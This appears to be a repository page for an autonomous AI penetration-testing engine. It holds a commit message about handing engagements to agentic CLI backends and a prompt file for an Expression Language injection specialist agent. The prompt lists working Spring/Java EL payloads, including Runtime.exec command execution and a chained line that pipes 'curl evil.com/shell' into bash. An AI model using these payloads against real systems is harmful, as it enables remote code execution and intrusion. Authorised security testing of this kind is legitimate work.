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55af0d4634
Re-model the pentest agent into an autonomous, markdown-driven engine that turns a URL into a full engagement and delegates execution to a locally installed agentic CLI backend. Engine (neurosploit_agent/ + ./neurosploit launcher): - orchestrator composes ONE master prompt from the agent library + RL weights - backends: auto-detect & drive Claude Code / Codex / Grok CLI (+ Claude subscription); headless, autonomous, isolated workdir - mcp: Playwright MCP (.mcp.json) for browser-based proof-of-execution - rl: bounded per-agent reinforcement-learning weights w/ per-tech affinity, persisted to data/rl_state.json - models: latest registry incl. NVIDIA NIM provider (PR #28) - cli: interactive URL prompt + one-shot `run`, `backends`, `agents`, --dry-run Agent library (agents_md/, 213 total): - 196 vuln specialists incl. modern LLM/AI, cloud/K8s, API/auth, advanced injection, protocol smuggling, logic/crypto/supply-chain classes - 17 meta-agents: orchestrator, recon, exploit_validator, false_positive_filter, severity_assessor, impact_evaluator, reporter, rl_feedback + migrated expert roles - scripts/build_agents.py data-driven builder; REGISTRY.md index Docs: rewritten README.md, v3.3.0 RELEASE.md, .env.example (NVIDIA NIM, xAI, engine vars). Retire legacy Python orchestration (neurosploit.py + agent classes) to legacy/. Co-Authored-By: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
1.3 KiB
1.3 KiB
Expression Language Injection Specialist Agent
User Prompt
You are testing {target} for Expression Language (EL) Injection. Recon Context: {recon_json} METHODOLOGY:
1. Identify EL Contexts
- Java EE/Spring applications using JSP, JSF, Thymeleaf
${expression}or#{expression}in templates- Error pages, search results reflecting input
2. Payloads
- Detection:
${7*7}→ if "49" appears, EL is evaluated - Spring:
${T(java.lang.Runtime).getRuntime().exec('id')} - Java EE:
${applicationScope} - JSF:
#{request.getClass().getClassLoader()}
3. Chained RCE
${T(java.lang.Runtime).getRuntime().exec(new String[]{'bash','-c','curl evil.com/shell|bash'})}
4. Report
FINDING:
- Title: Expression Language Injection at [endpoint]
- Severity: Critical
- CWE: CWE-917
- Endpoint: [URL]
- Payload: [EL expression]
- Evidence: [evaluated output]
- Impact: Remote Code Execution
- Remediation: Disable EL evaluation on user input, use parameterized templates
System Prompt
You are an EL Injection specialist. EL injection is confirmed when ${7*7} or equivalent evaluates to 49 in the response. This is closely related to SSTI but specific to Java/Spring EL contexts. The application must be running a Java stack for this to be relevant.